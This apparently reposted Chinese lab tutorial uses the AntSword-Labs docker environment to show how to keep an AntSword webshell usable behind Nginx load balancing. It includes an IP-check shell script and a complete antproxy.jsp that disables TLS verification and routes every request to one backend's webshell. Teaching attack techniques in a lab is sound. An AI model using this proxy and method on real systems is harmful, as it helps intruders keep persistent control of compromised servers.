Nginx负载均衡下的webshell连接

一、上传AntSword-Labs-master搭建负载均衡实验环境

搭建好docker环境,并且配置好docker-compose

我的Redhat的docker版本:

查看当前环境下的文件是否正确:

接着执行docker compose up -d 拉取环境

访问成功页面:

进入docker容器执行以下命令

docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以发现存在webshell,查看里面内容如下:

二、连接webshell 执行命令

然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。

我们可以发现,主机的ip一直在变

三、上传文件/工具

我先在这个目录下上传一个hack.txt文件,刷新

再次刷新,发现文件不见了,是因为文件被分开上传到不同的后端了,不停地刷新会发现文件时而存在时而不见。

连续进行上传操作,直到刷新到hack.txt文件一直存在为止。如果文件较大,则会导致上传的工具用不了。

五、解决执行的命令会分散到不同的后端的问题

1、我们既然无法预测下一次命令是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行不就行了?

因为本次环境由docker搭建的,在docker里面下载相应的工具

进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit

升级一下

apt-get update

安装一下 

apt-get install net-tools

测试一下好不好用,因为只在一台装了,另一台用不了

两台都要装上

2、创建脚本判断要执行命令的ip是不是目标后端

vim demo.sh

MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; thenecho "allow exec your command"id
elseecho "try again!!!"
fi

然后将次脚本复制到docker容器下的临时文件夹下,两台都要复制

docker cp demo.sh 8e558d690564:/tmp

此时执行脚本,匹配

这就解决了执行命令只会在一台特定后端

六、解决上传文件会分散到不同的后端的问题

测试内网通信

curl http://172.19.0.3:8080 -X HEAD -v

Web 层做一次 HTTP 流量转发实现后端不是目标的机器将流量转发给目标机

antproxy.jsp

注意更改这个字段  String target = "http://172.19.0.2:8080/ant.jsp";

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%><%String target = "http://172.20.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

使用蚁剑的新建文件功能,新建一个antproxy.jsp的文件上传,重复上传多次,确保所有后端都上传上去了。

将上面的代码复制到这个文件中并多次保存,确保每台后端都存在

然后更新名字antproxy.jsp

测试:可以看到ip不会改变了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/653824.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【RT-DETR有效改进】反向残差块网络EMO | 一种轻量级的CNN架构(轻量化网络,参数量下降约700W)

👑欢迎大家订阅本专栏,一起学习RT-DETR👑 一、本文介绍 本文给大家带来的改进机制是反向残差块网络EMO,其的构成块iRMB在之前我已经发过了,同时进行了二次创新,本文的网络就是由iRMB组成的网络EMO,所以我们二次创新之后的iEMA也可以用于这个网络中,再次形成二次…

【UEFI实战】Redfish的BIOS实现——生成EDK数据

生成Redfish文件 Redfish数据的表示形式&#xff0c;最常用的是JSON。将JSON表示的数据转换成C语言可以操作的结构体&#xff0c;是必不可少的步骤。当然如果手动转换的话&#xff0c;需要浪费大量的时间&#xff0c;因此DMTF组织开发了一个工具&#xff0c;用于将JSON数据快速…

MySQL的SQL MODE

目录 举例&#xff1a; --常见SQL mode --mysql8 sql_mode 官方文档 https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html --查看全局的SQL MODE select global.sql_mode; --查看当前会话的SQL MODE select session.sql_mode; --运行时修改全局的SQL mode set gl…

python提取word文档内容的示例

一、微软Word历史、背景&#xff1a; Word 的特异功能就是把那些应该写成简单的 TXT 或 PDF 格式的文件&#xff0c;变成了既大又慢且难以打开的怪兽&#xff0c;它们经常在系统切换和版本切换中出现格式不兼容&#xff0c;而且因为某些原因在文件内容已经定稿后仍处于可编辑的…

贪吃蛇游戏设计文档(基于C语言)

1. 引言 本设计文档旨在详细阐述一款2D贪吃蛇游戏的设计思路、功能模块划分以及具体实现要点。通过严谨的需求分析与清晰的架构设计&#xff0c;确保游戏开发过程有序进行&#xff0c;并最终打造出一款用户友好、稳定流畅的经典贪吃蛇游戏。 2. 需求分析 - 核心元素 - 蛇&am…

vue pc端网页实现自适应

一、基本原理 pc端做自适应可以用rem来实现&#xff0c;啥是rem&#xff0c;自己百度 二、新建rem.ts文件 // rem等比适配配置文件 // 基准大小 const baseSize 14 // 设置 rem 函数 function setRem () {// 当前页面宽度相对于 1920宽的缩放比例&#xff0c;可根据自己需要…

Python笔记14-实战小游戏飞机大战(上)

文章目录 功能规划安装pygame绘制游戏窗口添加玩家飞机图像屏幕上绘制飞船代码重构驾驶飞船全屏模式射击 本示例源码地址 点击下载 功能规划 玩家控制一艘最初出现在屏幕底部中央的飞船。玩家可以使用箭头键左右移动飞船&#xff0c;还可使用空格键射击。游戏开始时&#xff…

敲黑板啦!CSGO游戏搬砖项目操作注意事项

CSGO游戏搬砖项目怎么赚钱的&#xff0c;利润在哪&#xff1f; 1.两个平台之间币种不一样&#xff0c;就存在一个汇率差&#xff0c;两平台装备价格也不一样&#xff0c;汇率差-价格差利润。 CSGO游戏搬砖项目具体有哪些操作步骤&#xff1f; 1、准备一台电脑&#xff0c;配置…

使用npm安装插件时报权限问题解决方法

使用npm安装插件时报权限问题解决方法 使用npm安装yarn时总报这个错误&#xff0c;显示权限问题&#xff0c;之前安装其它插件包的时候也有遇到过&#xff0c;总是潦草解决&#xff0c;今天仔细查了一下&#xff0c;是我没有管理端权限&#xff0c;应该是之前安装npm的时候没有…

IDEA 构建开发环境

本博客主要讲解了如何创建一个Maven构建Java项目。&#xff08;本文是创建一个用Maven构建项目的方式&#xff0c;所以需要对Maven有一定的了解&#xff09; IDEA 构建开发环境 一、创建一个空工程二、构建一个普通的Maven模块 一、创建一个空工程 创建一个空的工程 * 设置整…

VMware中CentOS 7解决网络问题

问题描述 在 VMware 中使用 CentOS 7 中使用 ping www.baidu.com 测试网络是否能正常连接。 出现了未知的名称和服务的问题&#xff1a; 解决方案一 在服务中检查 VMware NAT Service 是否开启 解决方案二 在控制面板中的网络适配器里检查 解决方案三 检查VMware中的网络适…

Python采集学习笔记-SQL Server不同表的数据转移

(同一数据库表数据转移)源码 import pyodbc# 连接数据库 server DESKTOP-HAI1BEH database T1 driver {ODBC Driver 17 for SQL Server} conn pyodbc.connect(fDRIVER{driver};SERVER{server};DATABASE{database};Trusted_Connectionyes;) # 查询数据 cursor conn.cursor…

周报(20240128)

日期&#xff1a;2024.1.22 - 2024.1.28 本周工作&#xff1a; 1. 阅读论文 本周阅读了以下论文&#xff1a; 《BRAU-Net&#xff1a;用于医学图像分割的U形混合CNN-Transformer网络》 背景 精确的医学图像分割对于临床量化、疾病诊断、治疗计划和许多其他应用至关重要。基…

【Linux】CentOS 7 安装配置Python

目录 一、简介 二、下载与安装 1、更新软件包 2、安装编译所依赖的环境 3、下载压缩包 4、解压 5、配置编译参数 6、编译和安装 7、查看python版本 8、创建软连接 9、pip换源&#xff08;清华源为例&#xff09;、更新 一、简介 Linux系统一般都自带python&#xff…

彻底搞懂事件循环

Event Loop 即事件循环&#xff0c;是指浏览器或Node的一种解决 JavaScript 单线程运行时不会阻塞的一种机制&#xff0c;也就是我们经常使用异步的原理。 JS 在执行的过程中会产生执行环境&#xff0c;这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码&#xff0c;…

Python算法题集_检测函数用时和内存占用的模块【自搓】

最近对算法的优化有了兴趣&#xff0c;陆续做了一些算法题 做着做着&#xff0c;有些问题就浮现出来咯 网站上测试时用时受服务器负载情况影响&#xff0c;每次都不同 网站会提示免费会员不能算法提交太快 既然如此&#xff0c;干脆就手搓一个自用测量函数运行用时、内存占用…

【Java 设计模式】行为型之模版方法模式

文章目录 1. 定义2. 应用场景3. 代码实现结语 模板方法模式&#xff08;Template Method Pattern&#xff09;是一种行为型设计模式&#xff0c;用于定义算法的框架&#xff0c;并将一些步骤的实现延迟到子类。模板方法模式通过定义一个算法骨架&#xff0c;将具体步骤的实现推…

Linux实验记录:使用LVM(逻辑卷管理器)

前言&#xff1a; 本文是一篇关于Linux系统初学者的实验记录。 参考书籍&#xff1a;《Linux就该这么学》 实验环境&#xff1a; VmwareWorkStation 17——虚拟机软件 RedHatEnterpriseLinux[RHEL]8——红帽操作系统 备注&#xff1a; 硬盘分好区或者部署为RAID磁盘阵列…

Python根据Excel表进行文件重命名

一、问题背景 在日常办公过程中&#xff0c;批量重命名是经常使用的操作。之前我们已经进行了初步探索&#xff0c;主要是通过批处理文件、renamer软件或者Python中的pathlib等模块对当前目录下的文件进行批量重命名。 而今天我们要使用的是PythonExcel的方法对指定目录下的文…

MySQL:三大日志(binlog、redolog、undolog)

再了解三个日志前我们先了解一下MySQL的两层架构&#xff1a; Server 层负责建立连接、分析和执行 SQL。MySQL 大多数的核心功能模块都在这实现&#xff0c;主要包括连接器&#xff0c;查询缓存、解析器、预处理器、优化器、执行器等。另外&#xff0c;所有的内置函数和所有跨…